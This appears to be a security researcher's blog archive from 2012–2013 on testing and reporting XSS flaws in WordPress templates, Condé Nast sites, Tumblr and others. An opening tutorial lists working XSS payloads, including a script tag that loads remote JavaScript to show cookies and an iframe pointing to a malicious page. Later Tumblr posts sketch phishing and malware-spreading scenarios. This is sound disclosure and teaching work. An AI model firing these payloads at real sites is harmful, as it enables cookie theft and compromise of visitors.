Testing basic XSS

 Testing  6 Responses »
Feb 072013
 

Yesterday evening I tested six premium WordPress templates. In about 10 minutes I found three templates that are vulnerable to Cross-site Scripting. This is quite typical: when searching for vulnerable sites, I usually find at least one under 30 minutes. Does it mean I’m good at hunting XSS bugs? Answer is no: it means there are lots of vulnerable sites out there.

My testing methods and tools are simple. I do all testing manually using the Firefox browser. Chrome, Safari and IE have “anti-XSS” features or auditors, which may actually hide some vulnerabilities.

First test target is the search function of the web site. Any input field will do, but lets assume our demo site has a search function.

Test case #1, which catches over 90% of all XSS vulnerabilities (at last for me):

;prompt(1)//”;prompt(2)//\”;prompt(3)//–></SCRIPT>”>’><SCRIPT>prompt(4)</SCRIPT>

Just copy-paste the string to the search field and see what happens. I have not invented this test case. You can find various versions of it from multiple XSS Cheat Sheets. In case of a vulnerable site, the prompted number tells approximately what kind of payload is executed. Quite often it is the last prompt using format: “><script>prompt(4)</script>

Going cross-site

Next I want to test if it is possible to execute arbitrary code from a remote server. In this example case the payload prefix is “> so the first Cross-site test would be: “><script src=http://idash.net/xs.js></script>

idash.net is my test domain and xs.js is a short JavaScript that displays the browser cookie. If the script is executed in the browser, the vulnerability is confirmed and can be reported.

Other tags

<script> tag can be stripped away or ignored. There are plenty of other tags and events to be tested. Three common ones:

  • “><img src= onerror=alert(1)>
  •  ”><iframe src=http://mytestserver/malicious.html <
  • “><body onload=alert(3)>

Some useful resources for more complex XSS testing:

I hope this short article helps in finding the most common XSS problems. Basic testing is easy and there are plenty of good test cases available.

Wrapping up January

 Reporting  No Responses »
Feb 012013
 

I decided to collect a list of good news from January. Quite many issues have been fixed. I also reported eight suspected or confirmed SQL injection issues.

On the negative side: for each site listed below, there are at least 10 new or open cases.

 

XSS in multiple Condé Nast magazines

 Reporting  No Responses »
Dec 292012
 

I reported a bunch of reflected Cross-site Scripting vulnerabilities to Condé Nast in August. Some of them have been fixed:

  • Ars Technica
  • Bonappetit
  • Golf Digest
  • Vogue & Teen Vogue
  • Self.com
  • Brides.com

Update 31-Jan-2013: three sites have been fixed and marked below

Thanks to Jason for helping with the domains above. Some issues are not fixed and my contact does not have direct control of these sites:

Architectural Digest Fixed

Architectural Digest XSS

Style.com

Style.com XSS

 Vanity Fair Fixed

Vanity Fair XSS

Epicurious

Epicurious XSS

Concierge.com

Concierge.com XSS

Lucky Magazine Fixed

Lucky Magazine XSS

I hope these issues will be fixed eventually.

Users should be careful and avoid clicking on the links that are pointing to XSS vulnerable domains.

Testing Tumblr XSS

 Testing  No Responses »
Dec 082012
 

According to my new tests, Tumblr is still vulnerable to stored Cross-site Scripting. I have reported the findings to Tumblr development team although they should already know: the reblog attack on 3rd of December was based on this vulnerability. I don’t claim “credits” for this vulnerability: all details were available before I even had time to test. What surprises me is the fact that this issue is not yet fixed.

I was asked if this vulnerability is “wormable” – meaning is it possible to perform another “Tumblr worm” attack. Why would anyone even want to try? Possible viral reblogging would be noticed and stopped fast. “Tumblr worm” was just a rather harmless demonstration.

Tumblr stored Cross-site Scripting facts

(based on my tests with two Tumblr accounts on separate PCs and three browsers)

  • It is possible to embed JavaScript and some other HTML tags to certain Tumblr post types (e.g. video post)
  • Arbitrary JavaScript can be executed on users browser from remote server
  • Before script is executed, user needs to open the blog post or click on e.g. a video containing JavaScript
  • Victim does not have to be logged in to Tumblr
  • JavaScript has access to browser cookies. However, session hijacking of logged in users is just a theoretical threat
  • JavaScript execution might be restricted to iframe-context. Accessing the main window context from the script might not be possible
  • If user reblogs a malicious post, the new post will include the payload -> spreading of code is possible

Test cases

#1 – Phishing

It would be quite easy to ask input from user in various ways. User input could be stored to attackers server. Below is a screenshot of a simple prompt asking users email address:

#2 – Spreading malware

Attacker could push malicious files from his/her server to Tumlbr users. Below is a screenshot of a simple file push using window.open:

One possible attack scenario

Attacker could create several Tumblr accounts and start blogging viral or popular videos using well chosen tags. Trust and popularity could be increased by using other accounts for reblogging video posts. Once the “attack blog” would have enough followers, attacker could create a malicious post using carefully selected tags. If the followers would reblog a malicious post, the spreading of payload would start.

Reblogging is a easy to use and popular feature of Tumblr. It is similar to Twitter’s retweet or Facebook’s “like button”. Attack that would be based on social engineering (users want to reblog interesting posts) could be more wide-spread compared to Tumblr worm attack.

 

Testing Tumblr worm root cause

 Testing  5 Responses »
Dec 042012
 

Yesterday Tumblr was hit by a “worm” that posted racist message using JavaScript. Sophos analyst Graham Cluley posted the first technical analysis that I noticed on Naked Security blog. It looked like an attack based on a stored Cross-site-Scripting vulnerability and some tricks to trigger Tumblr’s reblog feature.

Later in the evening Tumblr told us that their “engineers have resolved the issue of the viral post attack that affected a few thousand Tumblr blogs”.

This morning I tried to find affected Tumblr posts without luck. Viral post attack appears to be resolved. But how about the root-cause? Based on some news, the hackers behind the attack warned Tumblr weeks ago about a vulnerability. This would not be the first time: earlier this year Riyaz Walikar reported a serious Cross-site Scripting vulnerability to Tumblr. According to Mr. Walikar, it took three weeks to fix the issue.

Was the root-cause yet another stored Cross-site Scripting vulnerability on Tumblr and more importantly: is it now fixed? According to my quick testing: Yes and unfortunately no:

Tumblr stored XSS vulnerability

Lets hope Tumblr fixes the vulnerability without delay. It was easy to locate the root-cause. I tested this with a private post for security reasons, but I assume the payload works in public posts. If that is the case, Tumblr users should be warned: there could be other attacks underway or planned. Those could be much more severe than the “reblog worm”.

Update: I created a temporary Tumblr account using different browser, submitted a public post with stored XSS payload and visited the profile from another PC & different account. The vulnerability seems to be valid.

Mikko Hyppönen, CRO at F-Secure commented this case in a tweet: “A new Tumblr worm could still be possible…Good example on how XSS vulns are not harmless”

Update 2: It seems that Tumblr developers have started to implement counter-measures: the word “denied:” is added automatically to the test script every time it gets executed it is edited (checked on 5-Dec). E.g. <script src=”denied:data…

Screen-shot of the test case is below:

Stored XSS test with Safari

 

Some media reactions:

Tumblr troubled by trojan text – Update – H-Online
Tumblr worm proliferated due to XSS flaw - Help Net Security
Tumblr Worm Might Have Leveraged Stored XSS Vulnerability – Softpedia

 

Looking for JobsDB technical contact

 Hunting  No Responses »
Dec 022012
 

According to my tests, JobsDB.com is vulnerable to reflected Cross-site Scripting attacks. I would like to send my report to appropriate technical contact person(s).

I have sent the vulnerability report to publicly available jobsDB.com e-mail addresses initially on November 15th. There has been no responses. If you know anyone at JobsDB, please ask them to contact me. If you don’t, please spread this message.

Screen-shot of one test-case:

Calling Earth Networks

 Hunting  No Responses »
Dec 012012
 

I’m looking for a technical contact at Earth Networks due to a reflected Cross-site Scripting bug in Weatherbug.

I have tried to contact the CTO (Mr. Sloop) and Marketing & Advertising departments without luck. The e-mails were delivered, but there has been no responses.

If you happen to know any Earth Networks/Weatherbug technical contacts who might be interested in the vulnerability details, please ask them to contact me.

Screen-shot of one test case: